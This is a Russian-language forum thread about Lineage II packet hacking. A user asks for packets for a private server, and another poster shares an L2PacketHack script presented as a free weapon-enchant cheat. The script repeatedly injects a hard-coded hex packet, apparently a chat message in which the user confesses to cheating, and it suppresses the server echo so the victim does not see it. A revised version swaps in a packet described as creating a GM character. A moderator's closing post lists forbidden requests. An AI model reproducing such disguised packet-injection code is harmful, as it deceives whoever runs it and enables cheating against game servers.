Вернуться   CoderX :: Forums > Lineage II > L2PacketHack > Пакеты
Войти через OpenID

Пакеты Форум о форматах отдельных пакетов или групп пакетов

Чат (Новых сообщений с момента вашего последнего визита нет)
Загрузка...
Задавайте ваши вопросы на форуме. Чат предназначен для небольших разговоров.
 
Закрытая тема
 
Опции темы Опции просмотра
Старый 09.09.2008, 17:56   #1
Новичок
 
Регистрация: 09.09.2008
Сообщений: 2
Сказал Спасибо: 0
Имеет 0 спасибок в 0 сообщенях
Wers пока неопределено
По умолчанию Помогите с пакетами

Народ помогите написать пакеты на сервер valaksworld.com Hellbound а то я сколько пробую ничего не получаеться , пожалуйста кто может , помогите буду очень благодарен !!!!
Wers вне форума  
Старый 09.09.2008, 18:21   #2
Местный
 
Аватар для KrazyKeNNy
 
Регистрация: 14.06.2008
Сообщений: 163
Сказал Спасибо: 4
Имеет 115 спасибок в 49 сообщенях
KrazyKeNNy пока неопределено
По умолчанию

Вот все-таки уговорили меня выложить скрипт на халяву в массы. Скрипт на заточку пух, работает наверняка на большинстве сервов. Точит прибавляя по +1
Код:
//Управление: соц.ДА-включить, соц.НЕТ-выключить
const
name='';  // поставить ник перса
var
nam:string;
x:integer;
startenchant:TTimer;
procedure Init; //Вызывается при включении скрипта
begin
startenchant:=TTimer.Create(nil);
startenchant.OnTimer:=@packets;
startenchant.enabled:=false;
startenchant.interval:=75; // поставил 75, ни нам ни вам ;) спс PanAm
end;
procedure Free;
begin
startenchant.Free;
end;
procedure packets;
begin
//не изменять этот пакет!
buf:=hstr('38 10 04 34 04 3C 04 38 04 3D 04 4B 04 21 00 20 00 4F 04 20 00 47 04 38 04 42 04 1E 04 40 04 20 00 38 04 20 00 42 04 40 04 35 04 31 04 43 04 4E 04 20 00 3F 04 43 04 45 04 43 04 20 00 3D 04 30 04 20 00 3F 04 3B 04 4E 04 41 04 20 00 3F 04 38 04 46 04 46 04 3E 04 42 04 21 00 21 00 21 00 00 00 01 00 00 00');
SendToServerEx(name);
end;
begin
if FromClient and (ConnectName=name) and (pck[1]=#$1B)  and (pck[2]=#$06) then startenchant.enabled:=true;
if FromClient and (ConnectName=name) and (pck[1]=#$1B)  and (pck[2]=#$05) then startenchant.enabled:=false;
if FromServer and (pck[1]=#$4A) then begin         //убиваем пакет с излишним палевом
              x:=10;
              nam:=ReadS(x);
              if (nam=name) and (pck[x]+pck[x+1]+pck[x+2]=#$10#$04#$34) then pck:='';
end;
end.
(c)Breadfan
KrazyKeNNy вне форума  
Старый 09.09.2008, 18:29   #3
Местный
 
Аватар для PanAm
 
Регистрация: 18.01.2008
Сообщений: 286
Сказал Спасибо: 24
Имеет 133 спасибок в 80 сообщенях
PanAm
По умолчанию

Код:
0C 42 00 75 00 67 00 73 00 55 00 73 00 65 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 00 00 28 00 00 00 2B 00 00 00 19 00 00 00 1E 00 00 00 0B 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00
Добавлено через 1 минуту
KrazyKeNNy, то на С4-Ил на Hellbound не будет работать

Последний раз редактировалось PanAm, 09.09.2008 в 18:29. Причина: Добавлено сообщение
PanAm вне форума  
Старый 09.09.2008, 18:33   #4
Местный
 
Аватар для KrazyKeNNy
 
Регистрация: 14.06.2008
Сообщений: 163
Сказал Спасибо: 4
Имеет 115 спасибок в 49 сообщенях
KrazyKeNNy пока неопределено
По умолчанию

А, ну да), подправил.
Код:
//Управление: соц.ДА-включить, соц.НЕТ-выключить
const
name='';  // поставить ник перса
var
nam:string;
x:integer;
startenchant:TTimer;
procedure Init; //Вызывается при включении скрипта
begin
startenchant:=TTimer.Create(nil);
startenchant.OnTimer:=@packets;
startenchant.enabled:=false;
startenchant.interval:=75; // поставил 75, ни нам ни вам ;) спс PanAm
end;
procedure Free;
begin
startenchant.Free;
end;
procedure packets;
begin
//не изменять этот пакет!
buf:=hstr(0C 42 00 75 00 67 00 73 00 55 00 73 00 65 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 00 00 28 00 00 00 2B 00 00 00 19 00 00 00 1E 00 00 00 0B 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00');
SendToServerEx(name);
end;
begin
if FromClient and (ConnectName=name) and (pck[1]=#$1B)  and (pck[2]=#$06) then startenchant.enabled:=true;
if FromClient and (ConnectName=name) and (pck[1]=#$1B)  and (pck[2]=#$05) then startenchant.enabled:=false;
if FromServer and (pck[1]=#$4A) then begin         //убиваем пакет с излишним палевом
              x:=10;
              nam:=ReadS(x);
              if (nam=name) and (pck[x]+pck[x+1]+pck[x+2]=#$10#$04#$34) then pck:='';
end;
end.
KrazyKeNNy вне форума  
Старый 09.09.2008, 18:38   #5
Местный
 
Аватар для PanAm
 
Регистрация: 18.01.2008
Сообщений: 286
Сказал Спасибо: 24
Имеет 133 спасибок в 80 сообщенях
PanAm
По умолчанию

Опять не то ))
я другой пакет давал, на создание ГМа
PanAm вне форума  
Старый 09.09.2008, 18:49   #6
Местный
 
Аватар для KrazyKeNNy
 
Регистрация: 14.06.2008
Сообщений: 163
Сказал Спасибо: 4
Имеет 115 спасибок в 49 сообщенях
KrazyKeNNy пока неопределено
По умолчанию

Дак сначала создаем гма а потом уже точим, так устроен скрипт)
P.S. мне влом запускать клиент )
KrazyKeNNy вне форума  
Старый 09.09.2008, 23:41   #7
Новичок
 
Регистрация: 09.09.2008
Сообщений: 2
Сказал Спасибо: 0
Имеет 0 спасибок в 0 сообщенях
Wers пока неопределено
По умолчанию

гг.... народ это же не по теме =))) Я очень прошу помогите с пакетами для этого сервера , пакеты по зарез нужны , я просто хз , не могу написать пакет вообще =((( !!!! Так что надеюсь на вашу помощь!!!!
Wers вне форума  
Старый 10.09.2008, 01:02   #8
Рыцарь
 
Аватар для NLObP
 
Регистрация: 25.02.2008
Адрес: г.Волгоград
Сообщений: 2,009
Сказал Спасибо: 1,285
Имеет 1,458 спасибок в 793 сообщенях
NLObP пока неопределено
По умолчанию

Запрещено:
Просить пакеты/скрипты на шмот/адену/другие вещи;
Просить (помочь) взломать/сломать сервак/аккаунт или раздеть/наказать кого-то на любом серваке;
Просить научить работать с программой, если не понимаете элементарных вещей в отношениях клиент-сервер (так как, если вы их понимаете, то вопросов по основным возможностям программы быть недолжно);
Все посты не удовлетворяющие этим запретам, а так же не относящиеся к теме будут удаляться при первой возможности.
Запрещается создавать темы с просьбой выполнить какую-то работу за автора темы.
Форум является средством общения и общего поиска решения. Вашу работу за Вас никто выполнять не будет.
Данные запреты неподлежат обсуждению.
__________________
| Для самых ленивый | Телепаты в отпуске |Мы работаем над этим |
Не умеешь - учись, не хочешь учиться - плати © Суровый Закон Жизни


NLObP вне форума  
За это сообщение NLObP нажился 2 спасибками от:
Закрытая тема

  CoderX :: Forums > Lineage II > L2PacketHack > Пакеты



Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.


Часовой пояс GMT +4, время: 02:52.

vBulletin style designed by MSC Team.
Powered by vBulletin® Version 3.6.11
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd. Перевод: zCarot
Locations of visitors to this page
Rambler's Top100

Вы хотите чувствовать себя в безопасности? чоп Белган обеспечит её!